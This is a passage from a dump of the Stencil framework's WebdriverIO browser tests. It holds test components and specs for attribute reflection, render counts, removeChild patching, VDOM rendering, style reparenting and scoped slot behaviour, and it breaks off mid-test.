    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('reflect-nan-attribute-with-child', () => {\n  beforeEach(() => {\n    render({\n      template: () => <parent-reflect-nan-attribute></parent-reflect-nan-attribute>,\n    });\n  });\n\n  it('renders the parent and child the correct number of times', async () => {\n    await $('parent-reflect-nan-attribute').waitForExist();\n\n    await expect($('parent-reflect-nan-attribute').$('>>>div:first-of-type').$('div:first-of-type')).toHaveText(\n      'parent-reflect-nan-attribute Render Count: 1',\n    );\n    await expect($('parent-reflect-nan-attribute').$('>>>child-reflect-nan-attribute')).toHaveText(\n      'child-reflect-nan-attribute Render Count: 1',\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/reflect-nan-attribute-with-child/parent-reflect-nan-attribute.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'parent-reflect-nan-attribute',\n  // 'shadow' is not needed here, but does make testing easier by using the shadow root to help encapsulate textContent\n  shadow: true,\n})\nexport class ParentReflectNanAttribute {\n  // counter to proxy the number of times a render has occurred\n  renderCount = 0;\n\n  render() {\n    this.renderCount += 1;\n    return (\n      <div>\n        <div>parent-reflect-nan-attribute Render Count: {this.renderCount}</div>\n        {/*\n        // @ts-ignore */}\n        <child-reflect-nan-attribute val={'I am not a number!!'}></child-reflect-nan-attribute>\n      </div>\n    );\n  }\n\n  componentDidUpdate() {\n    // we don't expect the component to update, this will increment the render count in case it does (and should fail\n    // the test)\n    this.renderCount += 1;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-single-render/child-with-reflection.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'child-with-reflection',\n  // 'shadow' is not needed here, but does make testing easier by using the shadow root to help encapsulate textContent\n  shadow: true,\n})\nexport class ChildWithReflection {\n  // counter to proxy the number of times a render has occurred\n  renderCount = 0;\n\n  // to properly replicate the issue:\n  // - `reflect` must be `true`\n  // - the type of the prop must be complex, e.g. `number | any`\n  // - the value passed in as a prop must not be a `string`\n  @Prop({ reflect: true }) val: number | any;\n\n  render() {\n    this.renderCount += 1;\n    return (\n      <div>\n        <div>Child Render Count: {this.renderCount}</div>\n        <input step={this.val}></input>\n      </div>\n    );\n  }\n\n  componentDidUpdate() {\n    this.renderCount += 1;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-single-render/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('reflect-single-render', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <parent-with-reflect-child></parent-with-reflect-child>,\n    });\n  });\n\n  it('renders the parent and child the correct number of times', async () => {\n    const parentShadowRoot = await $('parent-with-reflect-child');\n    await parentShadowRoot.waitForExist();\n\n    const childShadowRoot = parentShadowRoot.shadow$('child-with-reflection');\n    await parentShadowRoot.waitForExist();\n\n    await expect(parentShadowRoot).toHaveText(expect.stringContaining('Parent Render Count: 1'));\n    await expect(childShadowRoot).toHaveText('Child Render Count: 1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/reflect-single-render/parent-with-reflect-child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'parent-with-reflect-child',\n  // 'shadow' is not needed here, but does make testing easier by using the shadow root to help encapsulate textContent\n  shadow: true,\n})\nexport class MyComponent {\n  // counter to proxy the number of times a render has occurred\n  renderCount = 0;\n\n  render() {\n    this.renderCount += 1;\n    return (\n      <div>\n        <div>Parent Render Count: {this.renderCount}</div>\n        <child-with-reflection val={1}></child-with-reflection>\n      </div>\n    );\n  }\n\n  componentDidUpdate() {\n    this.renderCount += 1;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reflect-to-attr/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('reflect-to-attr', function () {\n  beforeEach(async () => {\n    function toggleDisabled() {\n      const item = document.querySelector('reflect-to-attr');\n      item.disabled = !item.disabled;\n    }\n\n    render({\n      template: () => (\n        <>\n          <reflect-to-attr></reflect-to-attr>\n          <button id=\"toggle\" onClick={toggleDisabled}>\n            Toggle disabled\n          </button>\n        </>\n      ),\n    });\n  });\n\n  it('should have proper attributes', async () => {\n    await $('reflect-to-attr').waitForExist();\n    const cmp = document.querySelector('reflect-to-attr');\n\n    await expect($(cmp)).toHaveAttr('str', 'single');\n    expect(cmp.getAttribute('nu')).toEqual('2');\n    expect(cmp.getAttribute('undef')).toEqual(null);\n    expect(cmp.getAttribute('null')).toEqual(null);\n    expect(cmp.getAttribute('bool')).toEqual(null);\n    expect(cmp.getAttribute('other-bool')).toEqual('');\n\n    cmp.str = 'second';\n    cmp.nu = -12.2;\n    cmp.undef = 'no undef';\n    cmp.null = 'no null';\n    cmp.bool = true;\n    cmp.otherBool = false;\n\n    await browser.pause();\n\n    expect(cmp.getAttribute('str')).toEqual('second');\n    expect(cmp.getAttribute('nu')).toEqual('-12.2');\n    expect(cmp.getAttribute('undef')).toEqual('no undef');\n    expect(cmp.getAttribute('null')).toEqual('no null');\n    expect(cmp.getAttribute('bool')).toEqual('');\n    expect(cmp.getAttribute('other-bool')).toEqual(null);\n\n    expect(cmp.getAttribute('dynamic-str')).toEqual('value');\n    expect(cmp.getAttribute('dynamic-nu')).toEqual('123');\n  });\n\n  it('should reflect booleans property', async () => {\n    await $('reflect-to-attr').waitForExist();\n    const cmp = document.querySelector('reflect-to-attr');\n    expect(cmp.disabled).toBe(false);\n\n    const toggle = $('#toggle');\n    await toggle.click();\n\n    await browser.waitUntil(async () => cmp.disabled);\n    expect(cmp.disabled).toBe(true);\n\n    await toggle.click();\n    await browser.waitUntil(async () => !cmp.disabled);\n    expect(cmp.disabled).toBe(false);\n  });\n});\n"
  },
  {
    "path": "test/wdio/reflect-to-attr/cmp.tsx",
    "content": "import { Component, Element, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'reflect-to-attr',\n})\nexport class ReflectToAttr {\n  @Element() el!: any;\n\n  @Prop({ reflect: true }) str = 'single';\n  @Prop({ reflect: true }) nu = 2;\n  @Prop({ reflect: true }) undef?: string;\n  @Prop({ reflect: true }) null: string | null = null;\n  @Prop({ reflect: true }) bool = false;\n  @Prop({ reflect: true }) otherBool = true;\n  @Prop({ reflect: true }) disabled = false;\n\n  @Prop({ reflect: true, mutable: true }) dynamicStr?: string;\n  @Prop({ reflect: true }) dynamicNu?: number;\n\n  componentDidLoad() {\n    this.dynamicStr = 'value';\n    this.el.dynamicNu = 123;\n  }\n}\n"
  },
  {
    "path": "test/wdio/remove-child-patch/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\n/**\n * Tests for the patched `removeChild()` method on `scoped` components.\n */\ndescribe('remove-child-patch', () => {\n  let host: HTMLElement | undefined;\n\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <remove-child-patch>\n            <span>Slotted 1</span>\n            <span>Slotted 2</span>\n          </remove-child-patch>\n\n          <button id=\"remove-child-button\" type=\"button\">\n            Remove Last Child\n          </button>\n          <button id=\"remove-child-div-button\" type=\"button\">\n            Remove Child Div\n          </button>\n        </>\n      ),\n    });\n\n    await $('#remove-child-button').waitForExist();\n    document.querySelector('#remove-child-button').addEventListener('click', () => {\n      const el = document.querySelector('remove-child-patch');\n      const slotContainer = el.querySelector('.slot-container');\n      const elementToRemove = slotContainer.children[slotContainer.children.length - 1];\n      el.removeChild(elementToRemove);\n    });\n\n    document.querySelector('#remove-child-div-button').addEventListener('click', () => {\n      const el = document.querySelector('remove-child-patch');\n      const elementToRemove = el.querySelector('div');\n      el.removeChild(elementToRemove);\n    });\n    host = document.querySelector('remove-child-patch');\n  });\n\n  it('should remove the last slotted node', async () => {\n    let slotContainer = $(host).$$('span');\n    await expect(slotContainer).toBeElementsArrayOfSize(2);\n\n    await $('button').click();\n\n    slotContainer = $(host).$$('span');\n    await expect(slotContainer).toBeElementsArrayOfSize(1);\n  });\n\n  it('should show slot-fb if the last slotted node is removed', async () => {\n    const slotContainer = $(host).$$('span');\n    await expect(slotContainer).toBeElementsArrayOfSize(2);\n\n    const button = $('#remove-child-button');\n    await button.click();\n    await button.click();\n\n    const slottedSpansAfter = $(host).$$('span');\n    expect(await slottedSpansAfter.length).toBe(0);\n    await expect($(host).$('.slot-container')).toHaveText('Slot fallback content');\n  });\n\n  it('should still be able to remove nodes not slotted', async () => {\n    await expect($(host).$('div')).toBeExisting();\n\n    await browser.pause(3000);\n    const button = $('#remove-child-div-button');\n    await button.click();\n\n    await expect(await $(host).$('div').isExisting()).toBe(false);\n  });\n});\n"
  },
  {
    "path": "test/wdio/remove-child-patch/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'remove-child-patch',\n  scoped: true,\n})\nexport class RemoveChildPatch {\n  render() {\n    return (\n      <div>\n        <p>I'm not in a slot</p>\n        <div class=\"slot-container\">\n          <slot>Slot fallback content</slot>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/render/render.test.tsx",
    "content": "import { h, render } from '@stencil/core';\nimport { $, expect } from '@wdio/globals';\n\nimport { defineCustomElement } from '../test-components/complex-properties.js';\n\ndescribe('Render VDOM', () => {\n  beforeEach(async () => {\n    document.querySelector('div')?.remove();\n  });\n\n  it('can render an arbitrary VDOM tree', async () => {\n    const vdom = h('div', { className: 'test' }, 'Hello, world!');\n    render(vdom, document.body);\n\n    await expect($(document.body).$('div')).toMatchInlineSnapshot(`\"<div class=\"test\">Hello, world!</div>\"`);\n  });\n\n  it('can render a VDOM with a Stencil component', async () => {\n    defineCustomElement();\n\n    const vdom = (\n      <div>\n        <complex-properties\n          foo={{ bar: 123, loo: [1, 2, 3], qux: { quux: Symbol('quux') } }}\n          baz={new Map([['foo', { qux: Symbol('quux') }]])}\n          quux={new Set(['foo'])}\n          corge={new Set([{ foo: { bar: 'foo' } }])}\n          grault={Infinity}\n          waldo={null}\n          kidsNames={['John', 'Jane', 'Jim']}\n        ></complex-properties>\n      </div>\n    );\n    render(vdom, document.body);\n\n    // Use separate assertions instead of inline snapshot to avoid framework issues\n    const component = await $('complex-properties');\n    await expect(component).toExist();\n    await expect(component).toHaveElementClass('hydrated');\n\n    // Verify each prop value is rendered correctly\n    const listItems = await component.shadow$$('li');\n    await expect(listItems[0]).toHaveText('this.foo.bar: 123');\n    await expect(listItems[1]).toHaveText('this.foo.loo: 1, 2, 3');\n    await expect(listItems[2]).toHaveText('this.foo.qux: symbol');\n    await expect(listItems[3]).toHaveText(\"this.baz.get('foo'): symbol\");\n    await expect(listItems[4]).toHaveText(\"this.quux.has('foo'): true\");\n    await expect(listItems[5]).toHaveText('this.grault: true');\n    await expect(listItems[6]).toHaveText('this.waldo: true');\n    await expect(listItems[7]).toHaveText('this.kidsNames: John, Jane, Jim');\n  });\n});\n"
  },
  {
    "path": "test/wdio/reparent-style/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('reparent behavior (style)', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <div class=\"reparent-container\">\n          <reparent-style-with-vars></reparent-style-with-vars>\n          <reparent-style-no-vars></reparent-style-no-vars>\n          <button class=\"reparent-vars\">Reparent (with vars)</button>\n          <button class=\"reparent-no-vars\">Reparent (no vars)</button>\n        </div>\n      ),\n    });\n    await $('.reparent-vars').waitForExist();\n    const reparentContainer = document.querySelector('.reparent-container');\n    document.querySelector('.reparent-vars').addEventListener('click', () => {\n      const component = document.querySelector('reparent-style-with-vars');\n      reparentContainer.appendChild(component);\n    });\n    document.querySelector('.reparent-no-vars').addEventListener('click', () => {\n      const component = document.querySelector('reparent-style-no-vars');\n      reparentContainer.appendChild(component);\n    });\n  });\n\n  it('should have styles applied by default', async () => {\n    const varsContainer = document.querySelector('reparent-style-with-vars');\n    const novarsContainer = document.querySelector('reparent-style-no-vars');\n\n    expect(window.getComputedStyle(varsContainer).backgroundColor).toBe('rgb(0, 0, 255)');\n    expect(window.getComputedStyle(novarsContainer).backgroundColor).toBe('rgb(0, 128, 128)');\n  });\n\n  it('should preserve styles after reparenting a component (no css vars)', async () => {\n    const reparentButton = $('.reparent-no-vars');\n    await reparentButton.click();\n\n    await $('reparent-style-no-vars').waitForExist();\n    const novars = document.querySelector('reparent-style-no-vars');\n    expect(window.getComputedStyle(novars).backgroundColor).toBe('rgb(0, 128, 128)');\n  });\n\n  it('should preserve styles after reparenting a component (with css vars)', async () => {\n    const reparentButton = $('.reparent-vars');\n    await reparentButton.click();\n\n    await $('reparent-style-with-vars').waitForExist();\n    const vars = document.querySelector('reparent-style-with-vars');\n    expect(window.getComputedStyle(vars).backgroundColor).toBe('rgb(0, 0, 255)');\n  });\n});\n"
  },
  {
    "path": "test/wdio/reparent-style/reparent-style-no-vars.css",
    "content": ":host {\n  background-color: teal;\n  display: block;\n  padding: 2em;\n}\n\n.css-entry {\n  color: purple;\n  font-weight: bold;\n}\n"
  },
  {
    "path": "test/wdio/reparent-style/reparent-style-no-vars.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'reparent-style-no-vars',\n  styleUrl: 'reparent-style-no-vars.css',\n  shadow: true,\n})\nexport class ReparentStyleNoVars {\n  render() {\n    return <div class=\"css-entry\">No CSS Variables</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/reparent-style/reparent-style-with-vars.css",
    "content": ":root {\n  --custom-color: blue;\n}\n:host {\n  background-color: var(--custom-color, blue);\n  display: block;\n  padding: 2em;\n}\n\n.css-entry {\n  color: purple;\n  font-weight: bold;\n}\n"
  },
  {
    "path": "test/wdio/reparent-style/reparent-style-with-vars.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'reparent-style-with-vars',\n  styleUrl: 'reparent-style-with-vars.css',\n  shadow: true,\n})\nexport class ReparentStyleWithVars {\n  render() {\n    return <div class=\"css-entry\">With CSS Vars</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-add-remove-classes/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('scoped adding and removing of classes', () => {\n  before(async () => {\n    render({\n      template: () => (\n        <scoped-add-remove-classes\n          items={[\n            { id: 1, label: 'Item 1', selected: false },\n            { id: 2, label: 'Item 2', selected: true },\n            { id: 3, label: 'Item 3', selected: false },\n            { id: 4, label: 'Item 4', selected: false },\n            { id: 5, label: 'Item 5', selected: false },\n            { id: 6, label: 'Item 6', selected: false },\n            { id: 7, label: 'Item 7', selected: false },\n            { id: 8, label: 'Item 8', selected: false },\n          ]}\n          selectedItems={[2]}\n        ></scoped-add-remove-classes>\n      ),\n    });\n  });\n\n  it('clicking new items, adds class and removes other item classes', async () => {\n    await $('scoped-add-remove-classes .menu-item').waitForExist();\n    const items = $$('scoped-add-remove-classes .menu-item');\n\n    let selectedItems = await $$('scoped-add-remove-classes .menu-selected');\n    await expect(selectedItems.length).toBe(1);\n\n    await items[0].click();\n    selectedItems = await $$('scoped-add-remove-classes .menu-selected');\n    await expect(selectedItems.length).toBe(1);\n\n    await items[1].click();\n    selectedItems = await $$('scoped-add-remove-classes .menu-selected');\n    await expect(selectedItems.length).toBe(1);\n\n    await items[7].click();\n    selectedItems = await $$('scoped-add-remove-classes .menu-selected');\n    await expect(selectedItems.length).toBe(1);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-add-remove-classes/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\nexport type Item = {\n  id: number;\n  label: string;\n  selected: boolean;\n};\n\n@Component({\n  tag: 'scoped-add-remove-classes',\n  scoped: true,\n  styles: `\n    .menu-item {\n      padding: 8px 16px;\n      cursor: pointer;\n    }\n    .menu-selected {\n      background-color: #d17e7e;\n    }\n  `,\n})\nexport class AddRemoveClasses {\n  @Prop({ mutable: true }) selectedItems: number[];\n\n  handleItemClick = (item: Item) => {\n    this.selectedItems = [item.id];\n  };\n\n  @Prop() items: Item[];\n\n  render() {\n    return (\n      <div class=\"menu\">\n        {this.items.map((item: Item) => (\n          <div\n            class={{\n              'menu-item': true,\n              'menu-selected': this.selectedItems.includes(item.id),\n            }}\n            onClick={() => this.handleItemClick(item)}\n          >\n            {item.label}\n          </div>\n        ))}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-basic/cmp-root-md.css",
    "content": ":host {\n  color: white;\n}\n"
  },
  {
    "path": "test/wdio/scoped-basic/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-basic-root',\n  scoped: true,\n  styleUrls: {\n    md: 'cmp-root-md.css',\n  },\n})\nexport class ScopedBasicRoot {\n  render() {\n    return (\n      <scoped-basic>\n        <span>light</span>\n      </scoped-basic>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-basic/cmp.test.tsx",
    "content": "/// <reference types=\"webdriverio\" />\nimport { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('scoped-basic', function () {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => <scoped-basic-root colormode=\"md\"></scoped-basic-root>,\n    });\n  });\n\n  it('render', async () => {\n    const doc = await $('scoped-basic-root');\n    await doc.waitForStable();\n\n    await expect(doc).toHaveElementClass(expect.stringContaining('sc-scoped-basic-root-md-h'));\n    await expect(doc).toHaveElementClass(expect.stringContaining('hydrated'));\n\n    const scopedEl = await $('scoped-basic');\n    await scopedEl.waitForStable();\n\n    await expect(scopedEl).toHaveElementClass(expect.stringContaining('sc-scoped-basic-root-md'));\n    await expect(scopedEl).toHaveElementClass(expect.stringContaining('sc-scoped-basic-h'));\n    await expect(scopedEl).toHaveElementClass(expect.stringContaining('hydrated'));\n\n    await expect(scopedEl).toHaveStyle({\n      backgroundColor: 'rgb(0,0,0)',\n      color: 'rgb(128,128,128)',\n    });\n\n    const scopedDiv = await $('scoped-basic span');\n    await expect(scopedDiv).toHaveElementClass(expect.stringContaining('sc-scoped-basic'));\n    await expect(scopedDiv).toHaveStyle({\n      color: 'rgb(255,0,0)',\n    });\n\n    const scopedP = await $('scoped-basic p');\n    await expect(scopedP).toHaveElementClass(expect.stringContaining('sc-scoped-basic'));\n    await expect(scopedP).toHaveElementClass(expect.stringContaining('sc-scoped-basic-s'));\n\n    const scopedSlot = await $('scoped-basic p span');\n    await expect(scopedSlot).toHaveElementClass(expect.stringContaining('sc-scoped-basic-root-md'));\n    await expect(scopedSlot).toHaveText('light');\n\n    await expect(scopedSlot).toHaveStyle({\n      color: 'rgb(255,255,0)',\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-basic/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-basic',\n  styles: `\n    :host {\n      display: block;\n      background: black;\n      color: grey;\n    }\n\n    span {\n      color: red;\n    }\n\n    ::slotted(span) {\n      color: yellow;\n    }\n  `,\n  scoped: true,\n})\nexport class ScopedBasic {\n  render() {\n    return [\n      <span>scoped</span>,\n      <p>\n        <slot />\n      </p>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-conditional/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-conditional', () => {\n  beforeEach(() => {\n    function toggleHelloMessage() {\n      const scopedConditional = document.querySelector('scoped-conditional');\n      scopedConditional.renderHello = !scopedConditional.renderHello;\n    }\n\n    render({\n      template: () => (\n        <>\n          <button id=\"toggleHello\">Toggle Hello Message</button>\n          <scoped-conditional>\n            <div>This div will be slotted in</div>\n          </scoped-conditional>\n        </>\n      ),\n    });\n\n    const button: HTMLButtonElement = document.querySelector('#toggleHello');\n    button.onclick = toggleHelloMessage;\n  });\n\n  it('renders the initial slotted content', async () => {\n    await $('scoped-conditional').waitForStable();\n    await expect($('scoped-conditional div')).toHaveText(\n      `before slot->\nThis div will be slotted in\n<-after slot`,\n    );\n  });\n\n  it('renders the slotted content after toggling the message', async () => {\n    // toggle the 'Hello' message, which should insert a new <div/> into the DOM & _not_ remove the slotted content\n    await $('#toggleHello').click();\n    await $('scoped-conditional').waitForStable();\n\n    const host = document.body.querySelector('scoped-conditional');\n    const outerDivChildren = host.querySelector('div').childNodes;\n    expect(outerDivChildren.length).toBe(2);\n    expect(outerDivChildren[0].textContent).toBe('Hello');\n    expect(outerDivChildren[1].textContent).toBe(`before slot->This div will be slotted in<-after slot`);\n  });\n\n  it('renders the slotted content after toggling the twice message', async () => {\n    // toggle the 'Hello' message twice, which should insert a new <div/> into the DOM, then remove it.\n    // as a result of the toggle, we should _not_ remove the slotted content\n    await $('#toggleHello').click();\n    await $('#toggleHello').click();\n\n    await $('scoped-conditional').waitForStable();\n\n    await expect($('scoped-conditional div')).toHaveText(\n      `before slot->\nThis div will be slotted in\n<-after slot`,\n    );\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-conditional/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-conditional',\n  scoped: true,\n})\nexport class ScopedConditional {\n  @Prop() renderHello: boolean = false;\n\n  render() {\n    return (\n      <div>\n        {/* prior to fixing the bug */}\n        {/* - if you remove the conditional below, it works */}\n        {/* - if you remove the <div /> around `.tag`, it works */}\n        {/* - if you add additional elements between the conditional and the second <div/>, it works */}\n\n        {/* Note: Need the conditional's first half, _and_ the innerHTML attr */}\n        {/* Interestingly, if we replace innerHTML with a text node as a child of the <div>, */}\n        {/* we get a separate error where the slot doesn't get put in the correct place */}\n        {this.renderHello && <div class=\"tag\" innerHTML={'Hello'} />}\n        {/* This div below must be there too */}\n        <div>\n          before slot-&gt;\n          <slot />\n          &lt;-after slot\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp-level-1.scss",
    "content": ":host {\n  cmp-level-2 {\n    ::slotted(#test-element) {\n      color: blue;\n    }\n    cmp-level-3 {\n      padding: 32px;\n\n      #test-element {\n        padding: 24px;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp-level-1.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-level-1',\n  styleUrl: 'cmp-level-1.scss',\n  shadow: false,\n  scoped: true,\n})\nexport class CmpLevel1 {\n  render() {\n    return (\n      <cmp-level-2>\n        <slot />\n      </cmp-level-2>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp-level-2.scss",
    "content": ":host {\n  cmp-level-3 {\n    font-weight: 800;\n\n    #test-element {\n      font-weight: 600;\n    }\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp-level-2.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-level-2',\n  styleUrl: 'cmp-level-2.scss',\n  shadow: false,\n  scoped: true,\n})\nexport class CmpLevel2 {\n  render() {\n    return (\n      <cmp-level-3>\n        <slot />\n      </cmp-level-3>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp-level-3.scss",
    "content": ":host {\n  padding: 8px;\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp-level-3.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-level-3',\n  styleUrl: 'cmp-level-3.scss',\n  shadow: false,\n  scoped: true,\n})\nexport class CmpLevel3 {\n  render() {\n    return (\n      <div>\n        <slot>DEFAULT</slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-id-in-nested-classname/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('scope-id-in-nested-classname', function () {\n  it('should have root scope id in the nested element as classname', async () => {\n    render({\n      components: [],\n      template: () => <cmp-level-1></cmp-level-1>,\n    });\n    await $('cmp-level-3').waitForStable();\n    await expect($('cmp-level-3')).toHaveElementClass('sc-cmp-level-2');\n    await expect($('cmp-level-3')).toHaveElementClass('sc-cmp-level-2');\n\n    const padding = await $('cmp-level-3').getCSSProperty('padding');\n    await expect(padding.parsed.value).toBe(8);\n\n    const fontWeight = await $('cmp-level-3').getCSSProperty('font-weight');\n    await expect(fontWeight.parsed.value).toBe(800);\n  });\n\n  it('should not have root scope id in slotted / user provided nested element as classname', async () => {\n    render({\n      components: [],\n      template: () => (\n        <cmp-level-1>\n          <span id=\"test-element\">Test</span>\n        </cmp-level-1>\n      ),\n    });\n    await expect($('#test-element')).not.toHaveElementClass('sc-cmp-level-1');\n    await expect($('#test-element')).not.toHaveElementClass('sc-cmp-level-2');\n\n    const padding = await $('#test-element').getCSSProperty('padding');\n    await expect(padding.parsed.value).not.toBe(24);\n\n    const fontWeight = await $('#test-element').getCSSProperty('font-weight');\n    await expect(fontWeight.parsed.value).not.toBe(600);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-append-and-prepend/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-append-and-prepend', () => {\n  let host: HTMLScopedSlotAppendAndPrependElement;\n  let parentDiv: HTMLDivElement;\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <scoped-slot-append-and-prepend>\n            <p>My initial slotted content.</p>\n          </scoped-slot-append-and-prepend>\n\n          <button type=\"button\" id=\"appendNodes\">\n            append nodes via \"append\"\n          </button>\n          <button type=\"button\" id=\"appendChildNodes\">\n            append nodes via \"appendChild\"\n          </button>\n          <button type=\"button\" id=\"prependNodes\">\n            prepend nodes\n          </button>\n        </>\n      ),\n    });\n\n    const scopedSlotAppendAndPrepend = document.querySelector('scoped-slot-append-and-prepend');\n\n    // The element to be inserted\n    const el = document.createElement('p');\n    el.innerText = 'The new slotted content.';\n\n    await $('#appendNodes').waitForExist();\n    document.querySelector('#appendNodes').addEventListener('click', () => {\n      scopedSlotAppendAndPrepend.append(el);\n    });\n\n    document.querySelector('#appendChildNodes').addEventListener('click', () => {\n      scopedSlotAppendAndPrepend.appendChild(el);\n    });\n\n    document.querySelector('#prependNodes').addEventListener('click', () => {\n      scopedSlotAppendAndPrepend.prepend(el);\n    });\n\n    await $('#parentDiv').waitForExist();\n    host = document.querySelector('scoped-slot-append-and-prepend');\n    parentDiv = host.querySelector('#parentDiv');\n  });\n\n  describe('append', () => {\n    it('inserts a DOM element at the end of the slot', async () => {\n      expect(host).toBeDefined();\n\n      expect(parentDiv).toBeDefined();\n      expect(parentDiv.children.length).toBe(1);\n      expect(parentDiv.children[0].textContent).toBe('My initial slotted content.');\n\n      const addButton = $('#appendNodes');\n      await addButton.click();\n\n      await browser.waitUntil(async () => parentDiv.children.length === 2);\n      expect(parentDiv.children[1].textContent).toBe('The new slotted content.');\n    });\n  });\n\n  describe('appendChild', () => {\n    it('inserts a DOM element at the end of the slot', async () => {\n      expect(host).toBeDefined();\n\n      expect(parentDiv).toBeDefined();\n      expect(parentDiv.children.length).toBe(1);\n      expect(parentDiv.children[0].textContent).toBe('My initial slotted content.');\n\n      const addButton = $('#appendChildNodes');\n      await addButton.click();\n\n      await browser.waitUntil(async () => parentDiv.children.length === 2);\n      expect(parentDiv.children[1].textContent).toBe('The new slotted content.');\n    });\n  });\n\n  describe('prepend', () => {\n    it('inserts a DOM element at the start of the slot', async () => {\n      expect(host).toBeDefined();\n\n      expect(parentDiv).toBeDefined();\n      expect(parentDiv.children.length).toBe(1);\n      expect(parentDiv.children[0].textContent).toBe('My initial slotted content.');\n\n      const addButton = $('#prependNodes');\n      await addButton.click();\n\n      await browser.waitUntil(async () => parentDiv.children.length === 2);\n      expect(parentDiv.children[0].textContent).toBe('The new slotted content.');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-append-and-prepend/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-append-and-prepend',\n  scoped: true,\n})\nexport class ScopedSlotAppendAndPrepend {\n  render() {\n    return (\n      <div id=\"parentDiv\" style={{ background: 'red' }}>\n        Here is my slot. It is red.\n        <slot></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-assigned-methods/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('scoped-slot-assigned-methods', () => {\n  let originalConsoleError: typeof console.error;\n\n  beforeEach(async () => {\n    // @ts-expect-error - no components array?\n    render({\n      template: () => (\n        <scoped-slot-assigned-methods>\n          <>\n            <p>My initial slotted content.</p>\n            Plain text\n            <div slot=\"plain-slot\">Plain slot content.</div>\n          </>\n        </scoped-slot-assigned-methods>\n      ),\n    });\n    await $('scoped-slot-assigned-methods div').waitForExist();\n  });\n\n  before(async () => {\n    originalConsoleError = console.error;\n  });\n\n  after(() => {\n    console.error = originalConsoleError;\n  });\n\n  it('tests assignedElements method on a `<slot-fb>`', async () => {\n    const errorLogs: string[] = [];\n    console.error = (message) => errorLogs.push(message);\n\n    const component: any = document.querySelector('scoped-slot-assigned-methods');\n    